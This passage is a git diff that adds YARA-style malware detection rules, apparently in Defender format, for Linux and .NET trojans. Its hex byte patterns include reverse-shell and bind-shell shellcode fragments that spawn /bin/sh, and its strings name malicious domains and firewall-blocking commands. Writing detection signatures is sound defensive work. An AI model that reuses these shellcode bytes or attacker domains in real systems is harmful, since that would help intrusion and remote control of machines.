strings : + $a_01_0 = {02 07 02 07 91 07 03 28 7b 00 00 06 9c 07 17 d6 0b 07 06 31 eb } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SN.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SN.yar new file mode 100644 index 0000000000..331ec1f3c8 --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SN.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zusy_SN{ + meta: + description = "Trojan:BAT/Zusy.SN,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 01 11 05 16 11 06 6f 0b 00 00 0a 38 00 00 00 00 11 04 11 05 16 11 05 8e 69 6f 0c 00 00 0a 25 13 06 16 3d d8 ff ff ff 38 0a 00 00 00 38 df ff ff ff 38 c9 ff ff ff } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SO.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SO.yar new file mode 100644 index 0000000000..f9ed0463ba --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SO.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Zusy_SO{ + meta: + description = "Trojan:BAT/Zusy.SO,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {11 0b 11 08 11 08 11 08 5a d2 9c 11 08 17 58 13 08 11 08 11 0b 8e 69 fe 04 13 12 11 12 2d e1 } //2 + $a_81_1 = {41 6c 61 72 6d 50 6c 75 73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 AlarmPlus.Properties.Resources.resources + $a_81_2 = {24 30 61 34 39 36 38 66 34 2d 36 66 61 32 2d 34 33 62 32 2d 39 32 37 66 2d 34 62 33 61 63 61 30 35 65 62 33 31 } //2 $0a4968f4-6fa2-43b2-927f-4b3aca05eb31 + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*2+(#a_81_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SWE_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SWE_MTB.yar new file mode 100644 index 0000000000..9694f9b34f --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SWE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zusy_SWE_MTB{ + meta: + description = "Trojan:BAT/Zusy.SWE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {72 01 00 00 70 28 1e 00 00 0a 0b 07 28 03 00 00 2b 16 33 21 72 0f 00 00 70 28 20 00 00 0a 72 29 00 00 70 28 21 00 00 0a 28 22 00 00 0a 26 1f 64 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/chihuahua/Trojan_BAT_chihuahua_ACH_MTB.yar b/Trojan/BAT/chihuahua/Trojan_BAT_chihuahua_ACH_MTB.yar new file mode 100644 index 0000000000..5f8f3e528d --- /dev/null +++ b/Trojan/BAT/chihuahua/Trojan_BAT_chihuahua_ACH_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_chihuahua_ACH_MTB{ + meta: + description = "Trojan:BAT/chihuahua.ACH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 00 " + + strings : + $a_01_0 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 6c 00 6f 00 77 00 65 00 72 00 73 00 2e 00 68 00 6f 00 6c 00 64 00 2d 00 6d 00 65 00 2d 00 66 00 69 00 6e 00 67 00 65 00 72 00 2e 00 78 00 79 00 7a 00 } //4 https://flowers.hold-me-finger.xyz + $a_01_1 = {53 00 6e 00 79 00 61 00 6c 00 20 00 73 00 20 00 6d 00 61 00 7a 00 68 00 6f 00 72 00 61 00 20 00 63 00 65 00 70 00 69 00 2c 00 20 00 79 00 61 00 20 00 70 00 6f 00 76 00 65 00 73 00 69 00 6c 00 20 00 6e 00 61 00 20 00 73 00 65 00 62 00 79 00 61 00 20 00 67 00 6f 00 6c 00 64 00 } //2 Snyal s mazhora cepi, ya povesil na sebya gold + $a_01_2 = {63 00 68 00 69 00 68 00 75 00 61 00 68 00 75 00 61 00 } //3 chihuahua + condition: + ((#a_01_0 & 1)*4+(#a_01_1 & 1)*2+(#a_01_2 & 1)*3) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/zgRAT/Trojan_BAT_ZgRAT_SFT_MTB.yar b/Trojan/BAT/zgRAT/Trojan_BAT_ZgRAT_SFT_MTB.yar new file mode 100644 index 0000000000..249d18c40e --- /dev/null +++ b/Trojan/BAT/zgRAT/Trojan_BAT_ZgRAT_SFT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_ZgRAT_SFT_MTB{ + meta: + description = "Trojan:BAT/ZgRAT.SFT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {11 04 06 6f ?? 00 00 0a 11 04 08 6f ?? 00 00 0a 11 04 11 04 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 6f ?? 00 00 0a 13 05 73 ?? 00 00 0a 13 06 11 06 11 05 17 73 ?? 00 00 0a 13 07 11 07 02 16 02 8e 69 6f ?? 00 00 0a 11 07 6f ?? 00 00 0a 11 06 6f ?? 00 00 0a 13 08 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Linux/AutoColor/Trojan_Linux_AutoColor_A_MTB.yar b/Trojan/Linux/AutoColor/Trojan_Linux_AutoColor_A_MTB.yar new file mode 100644 index 0000000000..df09f66c85 --- /dev/null +++ b/Trojan/Linux/AutoColor/Trojan_Linux_AutoColor_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Linux_AutoColor_A_MTB{ + meta: + description = "Trojan:Linux/AutoColor.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_01_0 = {61 75 74 6f 2d 63 6f 6c 6f 72 } //2 auto-color + $a_01_1 = {2f 64 6f 6f 72 2d 25 64 2e 6c 6f 67 } //2 /door-%d.log + $a_01_2 = {2f 70 72 6f 63 2f 6e 65 74 2f 74 63 70 } //1 /proc/net/tcp + $a_01_3 = {2f 65 74 63 2f 6c 64 2e 73 6f 2e 70 72 65 6c 6f 61 64 2e 78 78 78 } //1 /etc/ld.so.preload.xxx + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Linux/ClickFix/Trojan_Linux_ClickFix_SA.yar b/Trojan/Linux/ClickFix/Trojan_Linux_ClickFix_SA.yar new file mode 100644 index 0000000000..38184a6832 --- /dev/null +++ b/Trojan/Linux/ClickFix/Trojan_Linux_ClickFix_SA.yar @@ -0,0 +1,11 @@ + +rule Trojan_Linux_ClickFix_SA{ + meta: + description = "Trojan:Linux/ClickFix.SA,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_00_0 = {73 61 6c 6f 72 74 74 61 63 74 69 63 61 6c 2e 74 6f 70 2f } //1 salorttactical.top/ + condition: + ((#a_00_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Linux/CobaltStrike/Trojan_Linux_CobaltStrike_H_MTB.yar b/Trojan/Linux/CobaltStrike/Trojan_Linux_CobaltStrike_H_MTB.yar new file mode 100644 index 0000000000..d72690ab99 --- /dev/null +++ b/Trojan/Linux/CobaltStrike/Trojan_Linux_CobaltStrike_H_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_CobaltStrike_H_MTB{ + meta: + description = "Trojan:Linux/CobaltStrike.H!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {be 30 fd 99 00 55 48 81 ee 30 fd 99 00 48 89 e5 48 c1 fe 03 48 89 f0 48 c1 e8 3f 48 01 c6 48 d1 fe 74 15 b8 00 00 00 00 48 85 c0 74 0b 5d bf 30 fd 99 00 ff e0 } //1 + $a_01_1 = {44 88 cb f6 c3 01 0f 94 47 f0 41 83 ea 0a 0f 9c 42 f0 8a 5f f0 44 8a 72 f0 44 20 f3 44 8a 77 f0 44 8a 7a f0 45 30 fe 44 08 f3 80 e3 01 88 58 f0 48 89 e0 48 83 c0 f0 48 89 c4 c7 00 ee 5d 15 26 48 83 ec 0a 50 68 93 45 41 1d 31 c0 0f 84 01 00 00 00 c3 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Linux/CoinMiner/Trojan_Linux_CoinMiner_C12.yar b/Trojan/Linux/CoinMiner/Trojan_Linux_CoinMiner_C12.yar new file mode 100644 index 0000000000..998e4e7c89 --- /dev/null +++ b/Trojan/Linux/CoinMiner/Trojan_Linux_CoinMiner_C12.yar @@ -0,0 +1,25 @@ + +rule Trojan_Linux_CoinMiner_C12{ + meta: + description = "Trojan:Linux/CoinMiner.C12,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 0f 00 00 " + + strings : + $a_80_0 = {78 6d 72 69 67 } //xmrig 2 + $a_80_1 = {73 74 72 61 74 75 6d 2b 73 73 6c } //stratum+ssl 2 + $a_80_2 = {72 61 6e 64 6f 6d 78 } //randomx 2 + $a_80_3 = {4d 6f 6e 65 72 6f } //Monero 2 + $a_80_4 = {4b 65 76 61 63 6f 69 6e } //Kevacoin 2 + $a_80_5 = {52 61 76 65 6e 63 6f 69 6e } //Ravencoin 2 + $a_80_6 = {77 6f 77 6e 65 72 6f } //wownero 2 + $a_80_7 = {6d 65 6d 6f 72 79 2d 70 6f 6f 6c } //memory-pool 2 + $a_80_8 = {68 75 67 65 2d 70 61 67 65 73 } //huge-pages 2 + $a_80_9 = {70 6f 6f 6c 20 61 64 64 72 65 73 73 } //pool address 2 + $a_80_10 = {73 6f 63 6b 73 35 3a 2f 2f } //socks5:// 2 + $a_80_11 = {73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f } //stratum+tcp:// 2 + $a_80_12 = {2f 6e 72 5f 68 75 67 65 70 61 67 65 73 } ///nr_hugepages 2 + $a_80_13 = {63 72 79 70 74 6f 6e 69 67 68 74 } //cryptonight 2 + $a_80_14 = {6d 69 6e 69 6e 67 2e 61 75 74 68 6f 72 69 7a 65 } //mining.authorize 2 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2+(#a_80_5 & 1)*2+(#a_80_6 & 1)*2+(#a_80_7 & 1)*2+(#a_80_8 & 1)*2+(#a_80_9 & 1)*2+(#a_80_10 & 1)*2+(#a_80_11 & 1)*2+(#a_80_12 & 1)*2+(#a_80_13 & 1)*2+(#a_80_14 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Linux/Ebury/Trojan_Linux_Ebury_E_MTB.yar b/Trojan/Linux/Ebury/Trojan_Linux_Ebury_E_MTB.yar new file mode 100644 index 0000000000..e038ab76c5 --- /dev/null +++ b/Trojan/Linux/Ebury/Trojan_Linux_Ebury_E_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_Ebury_E_MTB{ + meta: + description = "Trojan:Linux/Ebury.E!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {83 e8 02 31 d2 45 31 c9 45 31 e4 41 c1 e2 02 41 c0 e8 04 44 88 67 01 45 09 d0 44 88 4f 02 83 ea 04 44 88 07 48 83 c6 04 48 83 c7 03 85 d2 0f 8f 9d fe ff ff 5b 5d 41 5c c3 } //2 + $a_01_1 = {89 e8 8b 4b 60 c1 e8 06 23 43 5c 89 c0 48 8b 04 c2 89 ea d3 ea 89 d1 83 e1 3f 48 89 c2 48 d3 ea 89 e9 83 e1 3f 48 d3 e8 48 85 c2 0f 84 44 01 00 00 31 d2 89 e8 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Linux/Finspy/Trojan_Linux_FinSpy_B_MTB.yar b/Trojan/Linux/Finspy/Trojan_Linux_FinSpy_B_MTB.yar new file mode 100644 index 0000000000..d9e320da64 --- /dev/null +++ b/Trojan/Linux/Finspy/Trojan_Linux_FinSpy_B_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_FinSpy_B_MTB{ + meta: + description = "Trojan:Linux/FinSpy.B!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 c7 85 88 8b ff ff ff ff ff ff 48 89 c2 b8 00 00 00 00 48 8b 8d 88 8b ff ff 48 89 d7 f2 ae 48 89 c8 48 f7 d0 48 83 e8 01 89 c3 48 8d 85 e0 8b ff ff 48 c7 85 88 8b ff ff ff ff ff ff 48 89 c2 b8 00 00 00 00 48 8b 8d 88 8b ff ff 48 89 d7 f2 ae 48 89 c8 48 f7 d0 48 8d 50 ff 48 8d 8d e0 8b ff ff 8b 85 c4 8b ff ff 48 89 ce 89 c7 e8 27 d8 ff ff 89 85 c8 8b ff ff 3b 9d c8 8b ff ff 0f 95 c0 84 c0 74 22 c7 85 b8 8b ff ff db ff ff ff 8b 85 c4 8b ff ff 89 c7 } //1 + $a_01_1 = {25 73 2f 2e 6b 64 65 2f 41 75 74 6f 73 74 61 72 74 2f 75 64 65 76 32 2e 73 68 } //1 %s/.kde/Autostart/udev2.sh + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Linux/FirewallOutHttpsBlock/Trojan_Linux_FirewallOutHttpsBlock_PI2.yar b/Trojan/Linux/FirewallOutHttpsBlock/Trojan_Linux_FirewallOutHttpsBlock_PI2.yar index a558321ae1..5cf47c449c 100644 --- a/Trojan/Linux/FirewallOutHttpsBlock/Trojan_Linux_FirewallOutHttpsBlock_PI2.yar +++ b/Trojan/Linux/FirewallOutHttpsBlock/Trojan_Linux_FirewallOutHttpsBlock_PI2.yar @@ -1,7 +1,7 @@ rule Trojan_Linux_FirewallOutHttpsBlock_PI2{ meta: - description = "Trojan:Linux/FirewallOutHttpsBlock.PI2,SIGNATURE_TYPE_CMDHSTR_EXT,2d 00 2d 00 07 00 00 " + description = "Trojan:Linux/FirewallOutHttpsBlock.PI2,SIGNATURE_TYPE_CMDHSTR_EXT,2d 00 2d 00 10 00 00 " strings : $a_81_0 = {69 70 74 61 62 6c 65 73 20 } //5 iptables @@ -11,7 +11,16 @@ rule Trojan_Linux_FirewallOutHttpsBlock_PI2{ $a_81_4 = {70 6f 72 74 20 34 34 33 20 } //10 port 443 $a_81_5 = {2d 6a 20 44 52 4f 50 } //10 -j DROP $a_81_6 = {73 70 6f 72 74 20 34 34 33 20 } //-10 sport 443 + $a_81_7 = {20 2d 64 20 31 } //-20 -d 1 + $a_81_8 = {20 2d 64 20 32 } //-20 -d 2 + $a_81_9 = {20 2d 64 20 33 } //-20 -d 3 + $a_81_10 = {20 2d 64 20 34 } //-20 -d 4 + $a_81_11 = {20 2d 64 20 35 } //-20 -d 5 + $a_81_12 = {20 2d 64 20 36 } //-20 -d 6 + $a_81_13 = {20 2d 64 20 37 } //-20 -d 7 + $a_81_14 = {20 2d 64 20 38 } //-20 -d 8 + $a_81_15 = {20 2d 64 20 39 } //-20 -d 9 condition: - ((#a_81_0 & 1)*5+(#a_81_1 & 1)*5+(#a_81_2 & 1)*10+(#a_81_3 & 1)*10+(#a_81_4 & 1)*10+(#a_81_5 & 1)*10+(#a_81_6 & 1)*-10) >=45 + ((#a_81_0 & 1)*5+(#a_81_1 & 1)*5+(#a_81_2 & 1)*10+(#a_81_3 & 1)*10+(#a_81_4 & 1)*10+(#a_81_5 & 1)*10+(#a_81_6 & 1)*-10+(#a_81_7 & 1)*-20+(#a_81_8 & 1)*-20+(#a_81_9 & 1)*-20+(#a_81_10 & 1)*-20+(#a_81_11 & 1)*-20+(#a_81_12 & 1)*-20+(#a_81_13 & 1)*-20+(#a_81_14 & 1)*-20+(#a_81_15 & 1)*-20) >=45 } \ No newline at end of file diff --git a/Trojan/Linux/Flooder/Trojan_Linux_Flooder_I_MTB.yar b/Trojan/Linux/Flooder/Trojan_Linux_Flooder_I_MTB.yar new file mode 100644 index 0000000000..1363fe202b --- /dev/null +++ b/Trojan/Linux/Flooder/Trojan_Linux_Flooder_I_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Linux_Flooder_I_MTB{ + meta: + description = "Trojan:Linux/Flooder.I!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {6d 61 69 6e 2e 70 65 72 66 6f 72 6d 48 54 54 50 46 6c 6f 6f 64 } //1 main.performHTTPFlood + $a_01_1 = {54 43 50 66 6c 6f 6f 64 41 74 74 61 63 6b } //1 TCPfloodAttack + $a_01_2 = {70 65 72 66 6f 72 6d 47 52 45 46 6c 6f 6f 64 } //1 performGREFlood + $a_01_3 = {6d 61 69 6e 2e 75 64 70 73 6d 61 72 74 } //1 main.udpsmart + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Linux/Getshell/Trojan_Linux_GetShell_H_MTB.yar b/Trojan/Linux/Getshell/Trojan_Linux_GetShell_H_MTB.yar new file mode 100644 index 0000000000..38cb488b8e --- /dev/null +++ b/Trojan/Linux/Getshell/Trojan_Linux_GetShell_H_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Linux_GetShell_H_MTB{ + meta: + description = "Trojan:Linux/GetShell.H!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 00 " + + strings : + $a_01_0 = {f3 0f 1e fa 31 ed 49 89 d1 5e 48 89 e2 48 83 e4 f0 50 54 45 31 c0 31 c9 48 8d 3d 01 ff ff ff ff 15 b3 2d 00 00 f4 } //1 + $a_01_1 = {80 3d 65 2d 00 00 00 75 2b 55 48 83 3d 42 2d 00 00 00 48 89 e5 74 0c 48 8b 3d 46 2d 00 00 e8 d9 fd ff ff } //1 + $a_01_2 = {31 f6 89 df e8 3a ff ff ff be 01 00 00 00 89 df e8 2e ff ff ff be 02 00 00 00 89 df e8 22 ff ff ff 48 8d 3d 6b 10 00 00 31 c0 31 d2 48 8d 74 24 08 48 89 7c 24 08 48 89 44 24 10 e8 13 ff ff ff 48 8d 3d 56 10 00 00 e8 d7 fe ff ff 48 8b 44 24 28 64 48 2b 04 25 28 00 00 00 } //1 + $a_01_3 = {f3 0f 1e fa 41 55 31 ff 41 54 55 53 48 81 ec e8 00 00 00 64 48 8b 04 25 28 00 00 00 48 89 84 24 d8 00 00 00 31 c0 e8 a5 ff ff ff 48 89 05 ce 2e 00 00 48 85 c0 74 6d 48 89 c7 48 8d 5c 24 08 4c 8d 6c 24 10 e8 57 ff ff ff 89 05 a9 2e 00 00 41 89 c4 e8 39 ff ff ff 48 89 c5 66 0f 1f 44 00 00 } //-2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*-2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Linux/HiddenRevShell/Trojan_Linux_HiddenRevShell_B_MTB.yar b/Trojan/Linux/HiddenRevShell/Trojan_Linux_HiddenRevShell_B_MTB.yar new file mode 100644 index 0000000000..c794466288 --- /dev/null +++ b/Trojan/Linux/HiddenRevShell/Trojan_Linux_HiddenRevShell_B_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_HiddenRevShell_B_MTB{ + meta: + description = "Trojan:Linux/HiddenRevShell.B!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {31 f6 89 df e8 ?? ?? ?? ?? be 01 00 00 00 89 df e8 ?? ?? ?? ?? be 02 00 00 00 89 df e8 } //2 + $a_01_1 = {48 89 e6 ba 10 00 00 00 89 df 89 44 24 04 e8 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Linux/KrustyLoader/Trojan_Linux_KrustyLoader_A_MTB.yar b/Trojan/Linux/KrustyLoader/Trojan_Linux_KrustyLoader_A_MTB.yar new file mode 100644 index 0000000000..6bdfa43306 --- /dev/null +++ b/Trojan/Linux/KrustyLoader/Trojan_Linux_KrustyLoader_A_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_KrustyLoader_A_MTB{ + meta: + description = "Trojan:Linux/KrustyLoader.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 8b 54 fb 40 48 c1 c2 24 4c 21 d2 48 33 14 fb 48 89 d6 49 89 d0 49 c1 e0 0c 4d 21 e0 49 31 d0 48 c1 e2 04 4c 21 ea 48 c1 e6 08 4c 21 f6 48 31 d6 49 31 f0 4c 89 44 fb 40 } //1 + $a_01_1 = {48 8b 84 d4 c0 04 00 00 48 89 c1 48 c1 e9 08 48 31 c1 4c 21 e1 48 31 c8 48 c1 e1 08 48 31 c1 48 89 c8 48 c1 e8 04 48 31 c8 4c 21 f8 48 31 c1 48 c1 e0 04 48 31 c8 48 89 84 d4 c0 04 00 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Linux/Morcut/Trojan_Linux_Morcut_B_MTB.yar b/Trojan/Linux/Morcut/Trojan_Linux_Morcut_B_MTB.yar new file mode 100644 index 0000000000..2660993ea2 --- /dev/null +++ b/Trojan/Linux/Morcut/Trojan_Linux_Morcut_B_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_Morcut_B_MTB{ + meta: + description = "Trojan:Linux/Morcut.B!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {89 c2 b8 00 00 00 00 8b 8d d0 fd ff ff 89 d7 f2 ae 89 c8 f7 d0 8d 50 ff b8 00 04 00 00 89 c1 29 d1 89 ca 8b 85 e4 fd ff ff 89 44 24 14 8b 85 e0 fd ff ff 89 44 24 10 8b 85 ec fd ff ff 89 44 24 0c 89 5c 24 08 89 54 24 04 8b 85 f0 fd ff ff 89 04 24 } //1 + $a_01_1 = {8b 85 1c ff ff ff 89 c1 bb 00 00 00 00 8b 85 14 ff ff ff ba 00 00 00 00 89 df 0f af f8 89 d6 0f af f1 01 fe f7 e1 8d 0c 16 89 ca 0f ac d0 1e c1 ea 1e 89 c2 8b 85 04 ff ff ff 89 90 8c 01 00 00 8b 85 24 ff ff ff 89 c1 bb 00 00 00 00 8b 85 14 ff ff ff ba 00 00 00 00 89 df 0f af f8 89 d6 0f af f1 01 fe } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NA_.yar b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NA_.yar new file mode 100644 index 0000000000..3c3f948c72 --- /dev/null +++ b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NA_.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_MsfwRevShell_NA_{ + meta: + description = "Trojan:Linux/MsfwRevShell.NA!!MsfwRevShell.gen!NA,SIGNATURE_TYPE_ARHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {31 ff 6a 09 58 99 b6 10 48 89 d6 4d 31 c9 6a 22 41 5a 6a 07 5a 0f 05 48 85 c0 78 51 6a 0a 41 59 50 6a 29 58 99 6a 02 5f 6a 01 5e 0f 05 48 85 c0 78 3b 48 97 48 b9 02 00 } //2 + $a_01_1 = {51 48 89 e6 6a 10 5a 6a 2a 58 0f 05 59 48 85 c0 79 25 49 ff c9 74 18 57 6a 23 58 6a 00 6a 05 48 89 e7 48 31 f6 0f 05 59 59 5f 48 85 c0 79 c7 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NB_.yar b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NB_.yar new file mode 100644 index 0000000000..5f606d1266 --- /dev/null +++ b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NB_.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_MsfwRevShell_NB_{ + meta: + description = "Trojan:Linux/MsfwRevShell.NB!!MsfwRevShell.gen!NB,SIGNATURE_TYPE_ARHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {ff 31 09 6a 99 58 10 b6 89 48 4d d6 c9 31 22 6a 5a 41 07 6a 0f 5a 48 05 c0 85 51 78 0a 6a 59 41 6a 50 58 29 6a 99 5f 02 01 6a 0f 5e 48 05 c0 85 3b 78 97 48 b9 48 00 02 } //2 + $a_01_1 = {48 51 e6 89 10 6a 6a 5a 58 2a 05 0f 48 59 c0 85 25 79 ff 49 74 c9 57 18 23 6a 6a 58 6a 00 48 05 e7 89 31 48 0f f6 59 05 5f 59 85 48 79 c0 6a c7 58 3c 01 6a 0f 5f 5e 05 7e 6a 0f 5a 48 05 c0 85 ed 78 e6 ff } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NC_.yar b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NC_.yar new file mode 100644 index 0000000000..16c10597da --- /dev/null +++ b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NC_.yar @@ -0,0 +1,11 @@ + +rule Trojan_Linux_MsfwRevShell_NC_{ + meta: + description = "Trojan:Linux/MsfwRevShell.NC!!MsfwRevShell.gen!NC,SIGNATURE_TYPE_ARHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 97 48 b9 ?? ?? ?? ?? ?? ?? ?? ?? 51 48 89 e6 6a 10 5a 6a 2a 58 0f 05 59 48 85 c0 79 ?? 49 ff c9 74 ?? 57 6a 23 58 6a ?? 6a ?? 48 89 e7 48 31 f6 0f 05 59 59 5f 48 85 c0 79 ?? 6a 3c 58 6a 01 5f 0f 05 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_ND_.yar b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_ND_.yar new file mode 100644 index 0000000000..4bec48ed3f --- /dev/null +++ b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_ND_.yar @@ -0,0 +1,13 @@ + +rule Trojan_Linux_MsfwRevShell_ND_{ + meta: + description = "Trojan:Linux/MsfwRevShell.ND!!MsfwRevShell.gen!ND,SIGNATURE_TYPE_ARHSTR_EXT,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {48 bb 2f 62 69 6e 2f 73 68 00 53 48 89 e7 52 57 48 89 e6 0f 05 } //1 + $a_01_1 = {6a 3c 58 6a 01 5f 0f 05 5e 6a 26 5a 0f 05 48 85 c0 78 ed ff e6 } //1 + $a_01_2 = {0f 05 48 96 6a 2b 58 0f 05 50 56 5f 6a 09 58 99 b6 10 48 89 d6 4d 31 c9 6a 22 41 5a b2 07 0f 05 48 96 48 97 5f 0f 05 ff e6 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NE_.yar b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NE_.yar new file mode 100644 index 0000000000..2d3f6f3dbc --- /dev/null +++ b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NE_.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_MsfwRevShell_NE_{ + meta: + description = "Trojan:Linux/MsfwRevShell.NE!!MsfwRevShell.gen!NE,SIGNATURE_TYPE_ARHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_03_0 = {31 db 53 89 e7 6a 10 54 57 53 89 e1 b3 07 ff 01 6a 66 58 cd 80 66 81 7f 02 ?? ?? 75 f1 5b 6a 02 59 b0 3f cd 80 49 79 f9 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 } //1 + $a_03_1 = {48 31 ff 48 31 db b3 18 48 29 dc 48 8d 14 24 48 c7 02 10 00 00 00 48 8d 74 24 08 6a 34 58 0f 05 48 ff c7 66 81 7e 02 ?? ?? 75 f0 48 ff cf 6a 02 5e 6a 21 58 0f 05 48 ff ce 79 f6 48 89 f3 bb 41 2f 73 68 b8 2f 62 69 6e 48 c1 eb 08 48 